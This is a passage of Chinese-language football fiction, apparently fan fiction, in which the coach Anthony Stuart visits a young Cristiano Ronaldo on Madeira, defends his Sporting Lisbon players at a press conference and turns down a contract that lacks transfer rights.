更惶论第二天，记者继续在《纪录报》忠实报道：斯图亚特闭门不出的消息。 配图是深夜里从三楼公寓落地窗的窗帘内，透出的昏黄灯光。 不得不说，这位记者的拍照技术非常好，独自在深夜里亮起的灯光，一下子就让人品出了寂寥的滋味，引发网友好一阵心疼，甚至有喊话要上门自荐，做安东尼新一任的。 网络世界腥风血雨，安东尼的世界却是岁月静好。 一天半的时间，他看完了三本书，给自己做了几顿白人饭，晚上还喝了波尔图红酒，那是在他率领球队在杯赛中连赢三场时，劳伦佐给他的礼物。 心高气傲的西班牙老头大概是不想当面承认自己关于战术的想法是错误的，所以选择了将酒放在门外，上面是一张用葡萄牙语书写的纸条，内容抄自某报纸： “不可否认，一位战术大师正在葡超的土壤里冉冉升起。” 安东尼拿起纸条，读完之后心里一暖，将纸条当做书签，夹进自己常看的书里。 今天翻看书时恰好掉了出来，也让他想起了一直存放在柜子里的昂贵红酒，正好趁放假小酌一会儿，不会影响工作。 奇怪的是，喝完两杯酒后，床头柜上的手机开始不停震动，似乎是 谁在急着找他。 安东尼合上书，拿起手机翻阅短信，随着看的时间增加，眉头越拧越紧。 疑似失恋、心情不好、独自在家痛哭流涕？ 这都是什么三流小报的八卦新闻！ 球员们发来的短信，或慰问关心，或小心试探，或单纯看热闹，安东尼一个没回，起身坐到书桌前，打开许久不用的电脑，查看最近的新闻。 不看不知道，一看吓一跳，这些记者像是长在他家外的歪脖树，竟然二十四小时都在蹲守，安东尼心里有点佩服了，这样敬业的存在，真是干什么都能成功。 看了所有照片，媒体没有爆出他和霍淮的消息，看来是没有拍到，安东尼放下心。 他不希望霍淮因为他的出现，原本的低调生活遭到打扰，毁于一旦。 反正自己能为他做的也不多。 想到留下的那张印有自己电话的名片，安东尼不禁苦笑了一下，以霍淮的能力，怕是这辈子也用不上拨出这通电话，两个人处在天南海北，今后连再见一面都很困难。 安东尼收起苦涩的思绪，视线扫过面前的电脑，《疑似和小球员共赴假期》的新闻标题忽然跳进了他的眼里，脑中立刻浮现出一张还带着婴儿肥的脸。 那双圆而水灵的眼睛，望向自己时永远是明亮的，虽然不想承认，对方不在家确实对安东尼产生了影响，少年身上散发出的干净、纯粹的磁场，仿佛让他的心灵得到了净化，往日察觉不出来，一旦失去，就会有种莫名的情绪低落。 离开了两天，克里斯蒂亚诺过得好吗？有没有看到报纸上的消息，会不会对他有不好的影响？ 或许他该打个电话关心一下小孩，毕竟连累小孩上新闻是自己的错，要是知错不改，品行可称不上是绅士。 沉思一会儿，安东尼用逻辑说服了自己，拨通电话。 电话的嘟嘟声响了三下，似乎一直守在手机旁，克里斯蒂亚诺很快接通了电话，话筒对面传来试探性的声音。 “教练？” 不可置信中，似乎带着几分雀跃和开心。 安东尼忍不住勾起唇角。 本想问克里斯蒂亚诺报纸上新闻的事情，一时也忘了个干净。 想起少年说过的话，他脑袋一热，问了个奇怪的问题。 “马德拉的星星今晚还在吗？” 话筒对面，少年沉默了一会儿，安东尼也觉得自己有点莫名其妙，没事儿问什么星星，这个时间小孩一定睡着了，哪能看见天空？ 就在他想要改口，说自己只是开了个玩笑时，听筒里传来簌簌的噪音，像是风声，还有噔噔噔的踩踏木头塑料的声响，让他有些摸不着头脑。 大概两分钟后，风声停了，少年的呼吸打在话筒上，喘息急促。 几乎是一瞬间，安东尼意识到克里斯蒂亚诺刚刚干了什么，少年竟然在大晚上跑出家门，去山顶上给他找星星了！ 安东尼的眼眶一热，紧紧攥着手里的手机，听着克里斯蒂亚诺将滚烫的鼻息喷在话筒上，微微发颤。 他声音兴奋：“我没骗你，星星一直在的！” 那声音经过电信号的处理，带着细微的电流杂音，钻进他的耳膜，如同纸页被反复揉皱又摊开，耳朵开始发烫。 寂静的夜里，安东尼似乎能听见对面少年的心跳声，密集、剧烈、带着独属于克里斯蒂亚诺的热忱，信号传到他的皮肤上，不断游走。 安东尼的心跳也快了起来。 从胸腔一路蔓延到指尖，指尖麻麻的，握着话筒的掌心渗出细汗，滑腻，凉丝丝的。 不管做什么事，安东尼一向是沉稳克制的，难得心里有种无法抑制的冲动不停翻滚，大概这就是近朱者赤吧，谁在热血少年身边能不被感染呢？ 勇气在血液中破土发芽，顺着血管扩散到身体最深处，他的心脏激烈的跳动着，诉说着一种渴望。 安东尼平静道：“请帮我跟多洛雷斯女士说一声，我会带一束很美的花。” “作为不请自来的歉礼。” 26. 新的邀请 决定去马德拉，安东尼定了第二天最早的航班，提着一行李送给克里斯蒂亚诺家人的礼物，毅然决然的上了飞机。 阿维罗家并没对他的不请自来感到诧异，围坐在沙发旁，你一言我一语，问着克里斯蒂亚诺在里斯本竞技的情况。 安东尼感觉自己就像是来家访的老师，面对操心的家长，夸奖之词如江水连绵，所有人开心极了，包括克里斯蒂亚诺本人。 少年棕色的眼睛闪烁着亮晶晶的光泽，面对妈妈充满骄傲和爱意的目光，揽着住她的胳膊，撒娇似的蹭了蹭。 中午，多洛雷斯做了一桌葡萄牙当地的家常美食。 后上桌的几个盘子里装着烤鸡、火腿，精致的不像是家里能做出来的，大概是在超市上班的阿维罗大儿子特意为他的拜访买来的，安东尼权当看不出来，笑着夸多洛雷斯的好手艺，被生活磋磨变得憔悴的女人顿时勾起唇角，笑容如此美丽生动。 克里斯蒂亚诺觉得，今天简直是他人生中最美好的一天。 餐桌上，父母没有再因为酒精而吵嘴，哥哥和姐姐们因为得到了礼物而欣喜，聚在客厅一起看起球赛，黑白电视里，他身穿28号球衣，摄像机聚焦在他鲜衣怒马奔走的背影，一脚怒射进球，转身庆祝...... 电视里少年转身的同时，现实里的克里斯蒂亚诺也同步侧头，迎着少年炙热的视线，安东尼露出浅浅的笑。 克里斯蒂亚诺呼吸一顿。 小孩垂下眼，抠了抠手指甲，问他：“教练，你什么时候回去？” “一两天吧。” 安东尼想了想，给出一个适合客人留宿的时间。 “啊，”短促轻音过后，少年又问：“你已经买机票了吗？” 安东尼隐隐察觉到什么，“还没。” “那你就多待一会儿！”克里斯蒂亚诺语调上扬，飞快道：“马德拉虽然很小，也有好玩的地方，我们可以去我之前的球队看比赛，去悬崖沟里下笼子抓龙虾，去海边打水漂.....” 一连串的玩耍项目，安东尼只听见了一个，皱起眉。 “去悬崖抓龙虾难道不危险？” “不知道，”克里斯蒂亚诺眨了眨眼，诚实道：“我没抓过。” 安东尼脸色缓和了。 他缓缓道：“一直住下去，多洛雷斯女士怕是会苦恼......” “不会！” 克里斯蒂亚诺非常肯定。 “既然这样....” 安东尼沉思了一会儿，似乎在犹豫，少年眼巴巴的看着他，双手不自觉的合拢，摆出小狗祈求的手势，在胸前摇了摇。 这么可爱的攻势，谁能抵挡的了呢？至少安东尼不能。 男人眼里含笑，轻声应下。 “那就多待几天吧。” 夜晚，月亮悄悄攀上墙头，同样爬上屋顶的还有两个青年。 克里斯蒂亚诺踩着梯子，先行爬出阁楼的窗户，回头想拉教练一把，却见对方三两下就跳了上来，想起书房里一堆健身用品，心里有些佩服。 天天工作到深夜还能抽空健身，真是自律的楷模。 “给，”楷模安东尼将毯子铺在瓦片上，递来外套，“夜里冷。” 克里斯蒂亚诺直接穿在身上，大衣是安东尼的，尺寸和他不相合，长长的袖子顺着胳膊耷拉下来，见状安东尼抬手帮他卷了卷袖子，直到露出手腕才作罢。 两人坐在屋顶上，马德拉夜晚的幽美宁静，伴着草丛里不知名的昆虫鸣叫，不禁让人有种心灵被净化的平静感。 安东尼闭上眼，任由风裹挟着他，一点点带走身上的疲惫、伤痛...... 心灵的平静很快就被话痨少年打破了。 克里斯蒂亚诺神采奕奕，指着远处道：“那个房子是我以前的家。” “嗯，”安东尼睁开眼，远眺，看见模糊的一个小平房，“是什么样的？” “很方正，”克里斯蒂亚诺比划了一下，“那里其实是个铁皮集装箱改的，当年我刚上小学，爸爸突然住院，妈妈也失业了，我们可以免费在那儿住，我和雨果——就是我的哥哥，我们俩住上下床，夏天很热，我们就去买气球，把气球灌满水放到床上，特别凉快。” 少年讲的很生动，明明是很苦涩的事情，却被他说出了一种苦中作乐的幸福感，安东尼也被他感染，笑着问：“然后呢？” “然后有一天晚上，气球突然被我压爆了！”克里斯蒂亚诺哈哈大笑，下意识向后仰，一只大手骤然伸出来托住他的腰，“水、水全洒在雨果的头上了哈哈哈。” “雨果直接被淋醒了，你猜他坐起来大吼什么？” “吼什么？” “他说，克里斯你居然尿床了，我要告诉妈妈打你屁股！” 克里斯蒂亚诺又笑了一会儿，眉眼弯弯道：“我五岁就不尿床了，雨果这个傻蛋。” 安东尼定定地看着他，半响，忽然也笑了。 “你笑什么？”克里斯蒂亚诺好奇地问。 “想到你尿床的时候，”安东尼一本正经问：“多洛雷斯女士确实会打你的屁股对吧？” “嘿，我给你讲这个故事可不是让你想这些的！” 克里斯蒂亚诺瞪眼，不满的抱怨道。 “好，不想不想。” 安东尼又哄了两句，夸了夸对方最近的进步，球踢得棒极了，这才让瘪嘴的少年重新露出笑容。 大概是今晚夜色太美，安东尼忍不住多说了两句自己的事情。 “其实我小时候也和哥哥住过上下铺。” “啊，”克里斯蒂亚诺下意识说：“希望你没淋他一头水。” “毕竟我不想被打屁股。” 安东尼开了个玩笑，引得克里斯蒂亚诺又一阵恼怒，气鼓鼓的发誓再也不给他讲故事了，这誓言可太让人害怕了，他赶紧出声道歉并安抚。 克里斯蒂亚诺脸上的温度逐渐退了下去。 “所以冬歇期你去见了你哥哥，”少年很敏锐，将一切联想到一起，“你们很久没见面了？” “嗯。” 安东尼轻轻应了一声。 “以后也不会见了。” 平静的语调中带着几分落寂。 “嘿，永远不要说这种丧气话。” 克里斯蒂亚诺瞪大了眼，顾不得身份，抬手在他脑袋上弹了一下，“一切皆有可能，就像我说的....” “你会给我祝福。” 安东尼被打的一愣，捂住脑袋，听见他的话，笑着接了下半句。 “是上帝会给你希望。” 克里斯蒂亚诺大声道。 无神论者的安东尼耸了耸肩，没说话，与其指望上帝，还不如指望克里斯蒂亚诺的祝福。 他沉默了一会儿，不经意地问道：“利物浦拒绝了你？” “嗯。” 少年眼底闪过一丝遗憾，闷闷的应了一声。 安东尼刚要出声安慰，就见少年抬起头，眼底已经没有任何悲伤。 他坦荡道：“这是他们的损失，我只会越来越强，成为世界上最好的球员。” 是的，你会是，安东尼在心里想。 不是因为记忆的命中注定，只是因为他的天赋、努力、自信、执着，一切的一切，组成了他面前的了不起的克里斯蒂亚诺。 一个注定会闪耀时代的存在。 而自己呢？ 在此之前，安东尼从来没想过这个问题，他会成为什么样的存在呢？ 安东尼不知道。 未来如何只能用实际行动去验证，但至少他知道，葡超教练绝不会是他的终点，一座奖杯也填满不了他的野心。 男人仰起头，眺望天空，看着一颗颗闪烁的星星，目光逐渐坚定。 * 计划不如变化快，度假的第四天，安东尼接到电话，说是葡萄牙足球协会进行年末颁奖，他荣获了“最具潜力教练”的称号，需要回里斯本参加颁奖晚会。 在心里吐槽了一下欧洲工作效率后，安东尼对着电话那头的工作人员应了一声，说自己会按时出席，挂断电话，看向一旁的少年，眼里浮现出一丝歉意。 沉默了两秒，没等开口，克里斯蒂亚诺抢先道：“有人要给你颁奖？” 显然是全听到了。 安东尼点头，语气云淡风轻，“最具潜力教练，一个小奖。” “怎么会是小奖呢，”少年眼睛亮亮的，“这是你的第一个奖，非常，非常有价值和意义！” 克里斯蒂亚诺脸上充斥着喜悦和兴奋，几乎快溢出来，不知道以为足协是要将这个奖颁给他呢。 安东尼心里好笑，但还是被他感染了，对奖杯多了几分期待。 “以后你会得到越来越多的奖项和荣誉，”克里斯蒂亚诺一脸肯定，“你是我见过最好的教练，我的眼睛不会出错。” 安东尼在心里接了一句：因为你的眼睛就是尺吗？ 玩笑后，一种莫名的感动在心里蔓延开。 哪怕他清楚的知道，克里斯蒂亚诺说自己是他最好的教练，不过是因为他年纪太小，还没有过几任，所以才会这么肯定。 未来，他会登录英超、西甲、意甲，在那些豪门俱乐部里，他会遇到早就名满世界的顶级教头，譬如将他视为亲子教导，十分宠溺他的弗格森老爵爷，到时候，情况就会大有不同。 经过克里斯蒂亚诺一打岔，安东尼也忘了表达自己的歉意，直到少年送他到机场，深色冲锋衣搭配登山运动鞋，与机场里精英白领格格不入的打扮引起许多人的窃窃私语，让安东尼想起了两人的约定。 今天他们计划去马德拉有名的山脉徒步，冬季的马德拉阳光充沛，日均高温可达18-20℃，伴随着徐徐海风，和大自然的美丽景色，将会是一场难以忘怀的探险。 可惜这一切都因为他而破灭了。 安东尼转头看向克里斯蒂亚诺，阳光透过玻璃落在男人身上，平日里冷漠疏离的气质倏忽散了，神色氲出几分温柔。 在这双深情的冰蓝色眼眸的注视下，克里斯蒂亚诺的耳廓渐渐红了。 他不知所措的抿起唇。 “怎么了？” “有点抱歉，”安东尼缓缓道，“答应你的事情，失言了。” “哦。” 原来是这样。 克里斯蒂亚诺 松了一口气，心里轻松的同时，一股莫名的失望涌上心头。 “没关系啊，”他说，“下一次你再来就好。” 少年神色放松，似乎默认了一定会有下次。 习惯了成年人分别后逐渐陌路的潜规则，徒然面对还没被现实荼毒过的清澈少年，安东尼显得有些无措。 睫毛飞快眨动了两下，像往常一样，他对露出微笑，抬手摸了摸少年的脑袋。 发梢稍硬微微蜷起，几缕毛发倔强的挺立着，在带着薄茧的手掌的搓弄下，很快也贴着指腹的弧度，轻轻摇摆。 被他摸头的滋味，像砂纸极轻地打磨过缎面，不疼，反而生出一阵酥麻的痒。 克里斯蒂亚诺呼吸顿了一瞬。 短短两秒，安东尼收回手，神色如常。 “里斯本再见。” 话音落下，男人拖着行李前往安检口，身影很快消失在人群中。 克里斯蒂亚诺意识恍惚，此刻他并没有意识到，安东尼是故意用身体接触逃脱了他的问题。 男人拍拍屁股，翩然离去，像风一样，没留下任何保证。 * 安东尼回到里斯本，当天的晚宴，他如愿领到了人生中第一个足球教练奖杯。 男人站在台上轻笑发言，西装革履、风度翩翩的模样，让各大媒体拍了个尽兴，也让人迷们望图生津。 这一次的照片，热度比往常更高，不仅是葡萄牙地区，远在英国的安东尼的父亲凯恩在本地报纸上也见到了他的新闻，有说他执教能力强的；有说他长相超群，穿衣品味堪比时尚教父的......还有《太阳报》！ 是的，太阳报能独列一栏。 这家全英国嘴最毒、深挖八卦最多、也最受人瞩目的报纸，他们似乎专门喜欢和大众媒体对着干，越是有人夸安东尼，他们的新闻就越损的厉害。 从刚开始“足球有史以来的最大灾难”，到“昙花一现的天赋”，再到“登不上五大联赛的三流教练”，世界上所有的讽刺，似乎都被他们说完了！ 唯一一点太阳报从不吐槽，那就是安东尼的品味。 英国重视服装搭配的规则，不少足坛人士下了球场，日常穿搭都遭《太阳报》炮轰过：辣眼睛、调色盘、不如把球衣钉在身上.....一系列点评让球星们恨得牙痒痒。 但就是堪比时尚杂志《Vouge》般严厉的《太阳报》，也难以找到安东尼衣品的不足，唯一能干巴巴的说上一句坏话，不过是：穿衣风格单调保守，听起来没有任何攻击性。 谁让就有人喜欢这种禁欲闷骚的反差呢！ 媒体的夸奖或贬低，对安东尼来说都不痛不痒，凯恩试探性询问他的恋情八卦，他随口敷衍了两句，打算挂断电话，却被凯恩制止了。 “等等，还有个好消息，”男人收住笑容，语气严肃起来，“热刺有意寻找新的教练，他们对你很感兴趣。” “托特纳姆热刺？” 随着凯恩应声，安东尼皱起眉。 托特纳姆热刺，成立于1882年，是英格兰足坛的传统劲旅，也是一只英超球队。 按理说，这样一只历史悠久的强队，不该在赛季中期就想换帅，换的还是一个初出茅庐的葡超教头，肯定是有什么隐情。 果然，凯恩继续道：“你知道ENIC集团吗？两个月前他们收购了热刺，打算让球队实现财富正循环，主席丹尼尔·列维不肯投资买球星，主教练屡次表示不满，两人的关系已经降到了冰点，估计这个赛季打完就会解约。” 财政困境。 安东尼脑子里冒出一个词，但他也没太在意，如果只是不出钱买球星，对他而言也不算绝境，夏歇期联系球探多找一些潜力股，大不了他费点功夫，手把手的磨炼，两年之内总能有成效。 就在他准备开口应下，凯恩又道：“还有就是，英超这10个赛季，热刺成绩不好。从未进入前六名，甚至有4个赛季排名在10名开外。” “没有欧洲赛事奖金和转播，再加上球场座位虚空，丹尼尔·列维想要一个能带着球队快速翻盘的教练，至少让这个赛季财政能转亏为盈。” 又不给草料，又要马跑，这位真是强人所难。 安东尼指尖在桌子上轻轻敲打着，沉思道：看来只能在原来的球队基础上做些文章，就像是对里斯本竞技这样，尽量不变动主力，至少球员之间有默契，在球场上也能起到很好的作用。 确认好思路后，他再次张开嘴。 “还有一件事，”凯恩又补充道：“因为集体降薪，球员们情绪不小，听说他们球队的防线核心——队长索尔·坎贝尔已经放话了，说要在合同到期后，自由转会去死敌阿森纳。” 这是什么事儿啊！ 安东尼被凯恩接二连三的“还有一件事”气的差点吐了血。 该说不愧是贵族后裔吗？说话非常具备艺术性，把好事儿说干净后，再轻描淡写的将这些巨大漏洞一言带过。 安东尼强忍着掀桌的冲动，缓缓开口道：“先坐下来聊一聊吧。” 谁让他行情不佳，没人邀约，再烂的球队也得接触看看。 安东尼无奈的挂了电话。 27. 低谷与维护 冬歇期，有人待在家乡，开开心心和家人游乐，有人则守着电脑，苦哈哈研究着英超比赛。 不管怎么过的，十天的假期同样短暂，几乎是一眨眼，球员们又回到了熟悉的阿尔瓦拉德球场，进行恢复性训练。 安东尼站在球场上，目光扫向排成一列的球员们，视线凌厉如刀尖，一寸寸割过皮肤，不少人心虚的低下头。 好消息是，一线队的全员好胳膊好腿，健健康康的回来了，坏消息是...... 安东尼走上前，伸出一根食指，以迅雷不及的速度戳向前方，僵硬的腹部肌肉抵住了他的指尖，安东尼没退，反而眯起了眼。 一分钟后，坚实的腹部肌肉开始回弹，指尖陷进软绵绵的肥肉，见隐瞒不过，阿尔贝托立在原地，脸色瞬间惨白。 “哈哈哈哈。” 一旁的乔安忍不住放声大笑。 安东尼扫了他一眼，少年立刻严肃起来，挺胸抬头，球衣下八块腹肌隐约浮现。 “让奎西蒙给你做个运动计划书，”安东尼语气淡淡，“五天之内瘦回原样，不然这场比赛你不用上了。” “是！” 阿尔贝托保证道。 在球场上逡巡了一周，点出几个状态不佳的球员，让他们该补觉的补觉、该禁酒的禁酒，安东尼结束今天的死亡点名，迈着平静的步伐，朝办公室走去。 待那道冷厉的身影彻底消失不见，一时间，球场上全是深呼气的声音。 “嘿，我还在这呢。” 奎西蒙哭笑不得。 “嘿嘿。” 球员们发出一串嬉笑声，奎西蒙性格和蔼，又是球员退役，自带亲近属性，他们才不怕他呢。 第一轮训练过后，休息时间球员们无聊的聚在一起说话，话题不自觉偏向了这几天的新闻报道。 “你们说教练失恋是真的吗？” “今天假笑次数那么多，应该是真的，至少心情不好是真的！” “嘶——也能理解，除了长得帅以外，教练对女人来说真没什么优势，一个不顾家的工作狂，还喜欢冷脸训人，不讲情面，要是我我也不选他！” “那只是对你而已，乔安。” 迭戈一针见血道出事实，引爆全场笑声，乔安脸皮瞬间红温。 他环顾一周，给自己找了个盟友：“奎西蒙先生，你和教练接触最多，你说他有没有失恋？” “你们怎么能随意聊老大的八卦呢！” 奎西蒙义正严词训了球员们一顿，左看右看，见无人注意，放低声音。 他偷偷道：“失恋那都是无稽之谈，老大有同居女友，两人恩爱着呢。” “咳咳，咳咳！” 一阵剧烈咳嗽，打断了听八卦小分队的进程。 迭戈皱眉，“罗纳尔多你小心点，怎么连喝水都能呛到。” 少年还举着水杯，双眼含着水光，胸前球衣湿了大半，见队长似乎想过来查看他的情况，克里斯蒂亚诺赶紧摇了摇头，示意自己没事。 迭戈看了两眼，少年脸上泛红，坐在地上发呆，不像是有事儿的样子，便没有理会。 小插曲没有引起任何人的注意，球员们缠着奎西蒙让他多讲一会儿教练的女友，可不知道为什么，奎西蒙这次嘴比密封条还严，说什么也不肯开口。 见时间差不多，他吹响口哨，所有人不情不愿站起身，迈向训练场。 * 冬歇期回归，里斯本竞技的状态没有像球迷担心的一泻千里，甚至可以说是直线上升，第二十一轮联赛开始，连续五场联赛，都以大比分致胜。 也就是这个时候，所有球迷才意识到选择了4-2-3-1阵型的主教练斯图亚特有多天才。 葡超联赛的身体对抗强度不高，球队多偏向防守反击，4-2-3-1阵型通过增加后防的进攻力，大大提升了发起进攻的次数。 更绝的是，4-2-3-1阵型本身依赖的就是球员的全能性和配合性，随着比赛时间越长，里斯本竞技这只球队就越显露出锋芒。 守也守不好，进攻又无法突破，输球是理所当然的，葡超球队都默认了这个赛季是里竞的天下，除了波尔图。 联赛第二十三轮，波尔图意外爆冷，1：2输给圣克拉拉，虽说有球队主力后卫感冒不能上场的缘故，但也暴露出了一些问题。 一线队球员平均年龄比里竞多出3.7岁，后防线高龄化最严重，所以越到后期，越有种力不从心感。 在这种情况下还要踢欧洲联盟杯，无疑是雪上加霜，穆里尼奥找了好几次波尔图主席，说明放弃联盟杯的想法。 联赛的结果显而易见，冠亚军只会是他或安东尼，但杯赛是一场定输赢，状态不好直接就和冠军擦肩而过了。 两个比赛，总要拿一个冠军才行。葡萄牙有两个晋级欧冠比赛的名额，只要稳住联赛和杯赛其中一个冠军，就能获得下个赛季欧冠入场券，总比现在三线作战，竹篮打水一场空好。 可惜，穆里尼奥的想法并没得到主席的认可，对方只让他咬牙坚持，嘴上还说着风凉话。 “斯图亚特不过是个没踢过足球的空架子，哪能带着球队获胜？要知道，足球比得可不只是战术，球员水平，还有球员心理。” 男人冷笑了一声，“已经到了赛季末，我就不信里竞的年轻球员能抗住压力。” “斯图亚特的劫难就要来了！” 他笃定道。 * 时间进入三月，波尔图以十九胜四平三负，总积分61分占领榜首，里斯本竞技以十八胜五平三负，总积分59分紧追其后，再往下，本菲卡的成绩则断了档，总积分不过52分，在仅剩八场比赛的情况下，可以说已经无缘联赛冠军。 就在所有人都这么以为的时候，波尔图和里斯本竞技像是抽风了一样，竟然同时连续三局打平。 本菲卡球迷乐得笑开了花！ 但一看自家队伍，三场一胜两败的成绩，积分差值还是没变，又立刻蔫了下来。 一时间，葡超足坛陷入了一种奇怪的低迷状态。 球队成绩不佳，球员必然会挨骂，因为斯图亚特的热度缘故，里竞球员被媒体炮轰的次数最多。 有几个球员在足球网站上被评为是赛季软脚虾，几大媒体直接将评选页面放在了报纸的新闻封面上，一时间里竞球员压力倍增，更衣室里气氛逐渐萎靡。 安东尼将一切看在眼里，眸色沉沉。 赛后，安东尼去参加新闻发布会，身后跟着一线队全体成员，让记者惊讶极了。 这几次的发布会，斯图亚特都是带着队长迭戈来回答问题，每次答不到五个问题就匆匆离开，今天怎么突然一反常态？ 难道是有不得了的大新闻要宣布？ 记者们一时呼吸加快，纷纷举起手里的录音笔，期待的目光落在讲台上。 安东尼环顾四周，神色平静，缓缓开口。 “今天在接受提问前，我要先就这几次比赛的争议做出回应。” 他说：“首先，我要否认网传的我对球员低谷不满的消息。” “我的球员没有任何错误，他们是最伟大的存在，训练刻苦，团结队友，在球场上也一直听从指挥，我不知道还能要求他们些什么。” “如果你们非要找一个人怪罪，那一定是我，全都是我的错。” 有记者举手提问，“能详细说说你错在哪吗？” 安东尼配合的点了点头，笑容得体礼貌。 他将麦克抵到嘴边，缓缓道：“我错就错在，容忍你们诋毁这些孩子。 ” 一石激起千层浪。 斯图亚特的震撼发言不是第一次了，在所有人印象里，他是个绅士温和同时又野心勃勃的人，但记者没有想到，他为了球员竟然直接撕破了那层温和的皮！ 记者们纷纷举起相机，闪光灯像是炮弹，狂轰乱炸向他投射，质问声也此起彼伏，几乎要将他淹没。 安东尼神色不变。 他抬起手，轻轻向前压了压，示意所有人保持安静。 奇怪的是，这些往日张狂无比的“无冕之王”，竟然真的乖乖照做了。 “你们觉得什么是一个优秀的球员？” “永远进球，永远胜利，永远拥有极高的竞技状态？” 安东尼的话让所有人陷入深思，显然，他们之前确实是这样认为的，因为球星状态不好总是要有理由的，不是因为沉溺女色酒精，就是没有好好锻炼，这当然值得他们骂。 “事实上，我们都是人，都会有波峰和低谷，在我看来，这些孩子只是进入了低谷，但即使如此，他们也没有沉溺于负面情绪中，依旧卖力的训练。” “迪马斯，”安东尼指了指对方，“昨天，他在训练中跑出了今年自己最快的冲刺速度。” “安德烈，从赛季初到现在降低了1.5%的体脂率；贝托，身体对抗和抢断一直都是队里最佳；鲁伊，他的左脚技术一向不好，上一场比赛却能灵活的左脚挑传；保罗，这个孩子永远是我最放心的，防线上缺他不可........” “从前锋改练中场的队长迭戈，努力提升场上能力的乔安，还有克里斯蒂亚诺。‘’ 他顿了顿，继续道：“我从没见过如此纯粹的球员，训练刻苦，永远是最晚离开球场的那一个。” 安东尼将所有人都点了一遍，球员们的表情从刚开始的震惊，慢慢变得感动，再到最后，一起骄傲的仰起了头。 “彼得·舒梅切尔，”安东尼念到了最后一个，“这是我手里最了不起的一位。” “我的守门员，没有专门的教练，靠着自己的摸索一点点成长，这个赛季八次零封对手。” “所以我非常不理解你们的报道内容。” 从站上讲台，安东尼手里始终攥着几张纸，直到现在仰起胳膊，这才发现，原来他手里拿着的是各家媒体的报纸！ 就在所有人一脸疑惑时，他忽然松开五指，报纸从掌心脱离，哗地一声散向空中。 空中炸开的报纸，变成纷飞的雪片，扑簌簌地朝台下坠去。 有的落在第一排记者的笔记本上，掠过摄像机镜头的边缘，在半空中打旋，慢慢飘着。 所有人沉浸在这大胆的一幕，内心顿感荒谬。 怎么会有教练公然对抗记者！？？斯图亚特是脑子抽风的傻子吧! 尽管想要吐槽，不少记者内心深处，还是很佩服斯图亚特的行为。 这是一个不惧世俗的勇士！ 为了维护球员当众和所有媒体为敌，他们还是第一次见到这样的教练。 里竞的球员一定感动死了。 记者们心里不太得劲，有些嫉妒的发酸。 安东尼缓缓放下手。 黑棕色的大背头在灯下泛着冷调的琥珀光，冰蓝色的眼眸从眉骨的阴影里浮出来，亮得像淬过火的冰——决绝、坦荡。 他说：“如果非要写过错，请把你们的笔对向我。” “请离我的球员们远一点。” 台下，十几个绿白球衣的青年看向台上的教练，眼里蕴着光。 压抑了许久的话终于说出口，安东尼放下了心里的包袱，低头整理了一下黑色金丝领带。 看向前方，嘴角勾出一抹得体的笑容。 “现在还有人提问吗？” 语气云淡风轻。 28. 报复的花招 安东尼的护短式宣言，一夜之间响彻足坛。 媒体再没有炮轰他的球员，只是他身上的舆论风波更多了，甚至衍生出一些喜欢在现实中对他施暴的极端主义。 但就像安东尼说的，他早就做好了被人口诛笔伐的打算，面对生活中多出来的窥探者，他淡然处之，而面对极端主义者他也不惯着，一记右勾拳，送对方个酣睡套餐，一梦到天明。 不管外界的风风雨雨，里斯本竞技球员们的状态回归，联赛连续三轮胜利，俱乐部的关注度和股价也跟着一路狂飙。 为此，穆里尼奥特意打电话来调侃，“你知道你扔报纸，扔出了千万英镑吗？” “不知道，”安东尼放下笔，眨了眨眼，疑惑发问：“千万英镑很多吗？” 电话对面传来沉默的嘟声。 安东尼满意的挂断了电话。 嘴上说说得了，他自己的月薪还不到一万五，哪能操着千万英镑的心。 说到月薪，安东尼想起了那份利兹联的工作邀约，他至今还没有和那位主席先生聊一聊，一是没有时间，二是因为里斯本竞技。 住在里斯本的这一年，他渐渐习惯了这里四季如春的天气，有轨电车的铃铛声、还有这片球场，以及球场上所有真挚的灵魂。 安东尼缓缓吐出一口气。 是时候先和富瓦克聊一聊了，他心想。 * 要说这阵子，葡萄牙最春风得意的人，莫过于富瓦克了。 一手发掘起安东尼这个金蛋，球队里几个小妖也初具雏形，俱乐部身价飙涨的同时，他在董事们面前的分量也是越来越重，连任简直是手到擒来。 男人坐在自己的办公室里，腿搭在桌上，惬意的晃着脚，门口忽然传来的敲门声让他吓了一跳，清清嗓子，“请进。” 安东尼推门而入，见到面前的情形，不禁想到两人第一次见面的场景，缓缓挑了挑眉。 富瓦克噌的一下站起身。 “你怎么来了，我的朋友，”男人笑的一脸殷勤，朝他走来，“有什么需要我的地方尽管说，我都会尽力满足你。” “省省你的热情吧，”安东尼靠在墙上，淡声道：“我想和你谈谈合约。” “哦合约，你不说我还想去找你呢。” 富瓦克从抽屉里拿出早就准备好的教练合同，递了过去，安东尼接了过来，仔细翻看起来。 说起这份合同，富瓦克格外的骄傲，因为这是他在葡超见过的最优渥的合同，年薪高达百万英镑，还有各种连胜奖金，要是能拿到杯赛、联赛甚至是联盟杯的冠军，奖金甚至会翻到五倍，而这一切都是他帮忙申请来的。 想到这儿，富瓦克笑容得意，静静等待着安东尼看完后爽快答应下来，提笔签字。 半响，安东尼开口了。 “不行。” “嗯嗯，你直接翻到第五页签字就行......”富瓦克话语一顿，提高音量，“等等，你说不行？难道你对金额不满意？” “钱不是问题，”安东尼抬起眼，“转会权，我怎么没有在这里看到。” “额，这个。” 富瓦克立刻哑住了，但很快又恢复过来，解释道：“我的朋友，在葡萄牙，教练是不会有转会权的，这是一直以来的规定，我们有专门的体育总监做这件事，我对此实在是无能为力。” 说什么没有特例，不过就是没碰到值得的人。 安东尼懒得和富瓦克演戏，直直的看着他，目光幽深。 几秒种后，他出声问道：“如果我能拿下双冠王呢？” “就算是三冠王也不行，”富瓦克摇摇头，肯定道：“转会权是不可以商量的。” 和五大联赛里的豪门不同，他们的俱乐部可是股东制，每年靠着卖球员的盈利占了大头，要是让教练插手转会，指不定买了哪个划水球星，就让他们健康的经济生态彻底崩溃！ “如果.....” “哪有什么如果？”富瓦克笑嘻嘻道，“我的朋友，要是你对钱和俱乐部任何设施不满意，你都可以和我提。” 安东尼唯一想要的转会权，富瓦克提都不提。 话语至此，安东尼对里斯本竞技的最后一丝期待也破灭了。 他有他的骄傲，既然里斯本竞技认为他不值得，那他就只能去寻找那些认为他值得转会权力的球队。 他就不信自己找不到这样的球队！ 安东尼点点头，当着富瓦克的面，将合同撕成两半，推回他的书桌上，在对方惊讶咂舌的目光中，缓缓开口。 “那我们就没什么好说的了。” 语气一如既往，温和、决绝。 * “还在看报纸？” 